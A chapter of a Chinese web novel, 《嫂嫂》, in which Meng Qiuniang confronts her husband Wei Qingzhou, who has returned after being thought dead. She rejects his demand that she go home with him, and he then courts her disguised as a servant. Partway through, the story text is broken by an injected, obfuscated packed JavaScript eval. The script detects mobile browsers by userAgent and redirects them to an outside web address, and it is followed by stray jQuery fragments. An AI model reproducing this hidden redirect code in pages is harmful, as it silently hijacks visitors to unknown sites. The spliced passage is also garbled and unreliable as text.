85.主仆

作品:《嫂嫂

    “娘子,是我哪里做的不够好吗,还是你因二弟的事在怨我。”


    魏轻舟实在挨不住了,他想要去问清楚,问这到底是为何。


    “与二叔无关。”,孟秋娘盯着魏轻舟的眼睛,她的这些天里何尝不是同他一样被心底的秘密折磨着,事情一直悬在那就像一把迟早要落下的剑,是早是晚而已。


    “说吧,你放心说吧,我好了,我全都想起来了。”


    既然是跟二弟无关,那便是跟他有关了,可他的记忆里他们一直很恩爱,直到那场意外,难道她是怨他失忆、怨他离开她太久吗?


    “好,那我先问你,你当初离开真的是为了去处理商铺的事吗?还是什么别的原因。”


    “不是,是我太贪心了,是我不该瞒着你。”


    说完,魏轻舟皱眉捏着额角,将他视角下的来龙去脉都说与了孟秋娘听。


    “我本想着用孙大人派来杀我的人当作是我,来躲避后面的追杀,没想到竟在逃亡途中滚下山摔失忆了,害你们以为那人真是我,伤心了这么久。”


    “原来如此,难怪那人的面容尽毁,那他手中的香囊可也是你给他的?”


    这才是她们误以为那具尸体是他的原因,那里面还有这她给他求得平安符,也是因着这香囊狄牧英才找上魏家同她结识的。


    “香囊?想必是打斗时被他给拽走了。”


    知晓他那边的事后,孟秋娘便也将她这两年多以来发生在她身上的事都说给了他听。


    太多太多了,先是与京中人有牵扯,之后又因这牵扯卷入到了朝堂的争斗中,随后又是孟家与魏家的事,桩桩件件,她们能走到现在这步,想想也是实属不易。


    魏轻舟就这么坐在一旁静静听着,直到她全部说完也是久久回不过神来。


    前面的追杀到后面的逃离,最后再到她与魏家的恩怨,魏轻舟这提起来的心就没放下来过。


    孟秋娘讲完却是长舒了一口气,终于不用再瞒着了。


    见他没言语知他需要些时间,便也没立刻追问他要个答案,而是默默离开了屋子,让他能一个人静静地待一会,理清思绪想明白接下来二人该何去何从。


    良久、良久,魏轻舟才把房门打开,他要去找娘子。


    “娘子,我是不会同你和离的,当然你也不用担心其他的。”


    说到底是他们魏家先害得她没了父亲,孤苦无依的,又将她骗来嫁给他,若他遭遇这些想必怕是会比她做的还要过分,他又有什么资格去评判她呢。


    只是,若当做什么都不知的继续这么过下去,他一时间过不了自己心里那关。


    但与她和离彻底分开他又舍不得,他知只要他一放手,娘子便要变成他的弟媳,二弟可一直在旁虎视眈眈的,他不可能让他如愿的!


    竟这般也不愿与她和离吗?孟秋娘轻咬下唇思绪良久,“你可要回家去看看家姑。”


    既如此那便让他回去一趟吧,想必就算他再不愿,家姑在他耳边日日絮叨几句,只怕他就只能给她一封放妻书了吧。


    “你就这般厌烦我吗?”


    魏轻舟一脸受伤地看着她,她这分明是在赶他走,甚至是比对二弟还要狠,竟直接要让他回家去,是觉着他在这碍着了她与二弟了吗?


    “不是的。”,孟秋娘朝他走近,“你既死而复生如何能不回去给家姑报喜呢,她接连失去儿子、郎君,只怕正伤心着,你的出现也能让她宽慰些。


    再就是,你回去后也好帮我看顾下家里那边的生意,里面可也有着你的一部分。”


    “那你呢,我们分离多年好不容易团聚,你却只想把我往外推,就算是要回去,那为何不是你同我一起回去。”


    魏轻舟伸手想要去将她拉进怀里,却被她给躲避开了。


    “不行!”,孟秋娘断然拒绝,京城的天衣坊才刚开起来,正是需要人的时候,她怎么可能就这么跟他回去。


    而且,回去后呢,她是不是得回到后宅去,回到魏家大娘子的位置上,回到为人娘子的身份上,她不愿!


    偏他不同意,这婚事她又离不了的,这种受制于人的感觉实在让人气闷。


    “魏轻舟,在官府那你已是个死人了,而你竹轻,不过是被我给领回家的仆从,又何来的和离一说。”


    是啊,她怎么忘了,除了魏家人知道他是魏轻舟外,其余人哪里知道的,他若敢用郎君的身份压制她,那她也只能翻脸不认人用些特殊手段了。


    她不喜有人威胁她!


    魏轻舟没想到她会变脸变的这么快,这还是他当初娶回家的柔顺的娘子吗?


    “你怎么变了这么多。”


    “是吗?我以为你听了那些后就该知道我是什么样的人才对。”


    能一步步走到今日的人,怎么可能是良善之辈。


    只不过若不侵犯到她的利益,她还是个很温和的人的,她都还想过要将原本属于他的那部分还给他呢,可惜他想要的太多。


    若她是个一直被压制困于后宅的妇人,说不定她还真有可能同他一起回去,但她不是,她既出来了就不可能回去。


    见过广阔天地的人,怎可能再回到那四四方方的井中天里。


    随后孟秋娘便派人将魏轻舟给看了起来,她也不要他回去了,只想着磨磨他的性子,让他明白她的底线在哪,她还是念着那点夫妻情分的。


    魏月娥这个日日窝在孟府的人怎可能没察觉到这事,只是她可不敢去找秋娘问的,便跑到了魏轻舟的跟前,好奇地问道:“你怎么把嫂嫂给惹生气了。”


    “三妹,原来是我一直不了解秋娘的脾性吗?”


    魏轻舟也急需找个人说话的,虽说跟妹妹谈及夫妻感情的事有些不好意思,可除了她,他也不知该同谁说去,便将二人的对话全都吐露了。


    “大哥,不是我说话难听,实在是你做的确实太过了,这些日子你一直跟在她身边,难道不知天衣坊在京城有多红火吗?你竟要她在这时陪着你?”


    也不怪秋娘会这么对她,要是有人敢这么给对她,她怕是想杀了那人的心都有,秋娘还是太和善、太温柔了。


    所以她说她绝不嫁人,三从四德、相夫教子,她是一个也做不来。


    “可我是她的郎君啊,难道我还没有她手里的生意重要吗?”


    “大哥,你真的好了吗?你也是个生意人,商人重利轻别离,你不能因为她是个女子便忽略了她商人的身份。


    而且她对你已很好了不是吗,这些日子即便她再忙也都有去看你,给你治病也是不计金银的。”


    被魏月娥这么说了一通,魏轻舟竟也觉着自己有些无理取闹了,一个看重利益的人愿放下这些来照顾他为他寻医问药的,这还不叫爱吗?


    “那她为何又要赶我走,你也觉着二弟跟她更配吗?”


    “那倒也不是,二哥只是比你好一点点而已,至少他一直都挺听嫂嫂话的,从不逼迫她。”


    在魏月娥心中没人能配得上秋娘的,他们只会阻碍她的脚步,分散她的注意力。


    但奈何秋娘自己喜欢,她也就只能在旁稍稍推一把,让他们能跟秋娘更契合些,让这些感情上的事尽量不去影响到秋娘的事业。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321976|188858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说来说去,二弟终是比他更讨娘子的欢心,难道就只能这般了吗?


    “我该怎么做。”


    他要怎么做才能超越二弟在她心中的位置,至少让他能留在她身边。


    “哎,再怎么说你们也是夫妻,夫妻之间的事难道还要我这个做妹妹的细说吗?”


    说完,魏月娥端起茶盏,咽下那略带苦涩的茶,离开了屋,她得去做些别的事分散下注意力了。


    魏轻舟垂眸若有所思。


    对啊,他们是夫妻,夫妻间向来是床头打架床尾和的,哄一哄,放软些姿态,想必娘子便不会再因这个生他的气了吧。


    虽说孟秋娘让人把魏轻舟给看了起来,但只要他不离府,其余的下人们并不会去阻止他。


    甚至是在得知他想要讨孟秋娘欢心时,还挺乐得帮忙的,毕竟只有孟秋娘开心,府上的氛围才能跟着轻松些。


    等到夜里孟秋娘回府时,才觉府中有些不对劲,府上的下人们呢,怎么只有一小厮在门口等她。


    “夫人。”


    那人提着灯笼在前为孟秋娘带路,声音压得低低的,但孟秋娘仍觉有些耳熟,便也就依着他,看他想要做什么。


    孟秋娘被他给带到了一花园深处,呼~一阵风将那人手中的灯笼给吹灭了。


    “夫人,天黑路滑,让奴牵着你走吧。”


    不等她回应,那人便自作主张地牵住了她的手,温暖宽厚,虎口处还有些因练武而留下的薄茧。


    是魏轻舟,他这般做小伏低的模样,她还挺受用的,这般想着,孟秋娘的手指不禁摩挲起了他的手背,似有似无地撩拨着他。


    魏轻舟用力捏紧了下,又快速放松下来,“夫人这是做什么。”


    孟秋娘听到他那咬牙切齿的声音,忍不住笑着打趣他,“不是你先来接近我的吗?怎么又不愿意了。”


    说着孟秋娘又朝他那凑近了些,撩起他身前散落的发丝嗅闻,“还挺香的,这是特意梳洗好后来找我的吗。”


    魏轻舟被她这一连串的动作给吓的连连往后退去,甩开了她的手。


    她怎么能如此孟浪,若今日不是他而是其他下人呢。


    光是想想魏轻舟便觉气闷,原以为只有二弟一个的,现在只怕是这府中的下人们中也有吧。


    “怎么,生气了?”


    不是他要演的吗,她配合的不好吗?


    孟秋娘可是瞥见了不远处的布置了,还挺贴心的,怕冷到她还特意给那花丛旁的石椅上铺了毯子。


    “夫人会对其余人也如此吗?”


    魏轻舟也不知自己为何要这么问,但他就是问了,他想知道她是不是把他当成其他人了。


    原来是因为这个,孟秋娘了然,主动上前去拉住他的手,说道:“怎么会呢,你在我心中是不一样的。”


    “那魏家二郎君呢,竹轻呢,是不是人人在夫人心中都是不一样的。”


    怎么问这么多,原来他不知她已知晓他是谁了啊。


    既如此她便趁着今日好好同他说一番,“魏轻舟是曾与我携手的郎君,我是有想过要与他共度一生的。


    魏远山,他对我有情,照料我陪伴我,我不忍辜负他一片真心。”


    “那为何你现在又要将他们给推开。”


    “因为这世间不只有情爱,当这些阻碍到我时,我便只能狠下心来推开。”


    所以,你会阻碍我、困住我吗?孟秋娘紧盯着他、审视着他,等待他的取舍。


    是要继续以竹轻的身份待在她身边,还是离开,或是想要以她的郎君的身份强行将她禁锢在身边。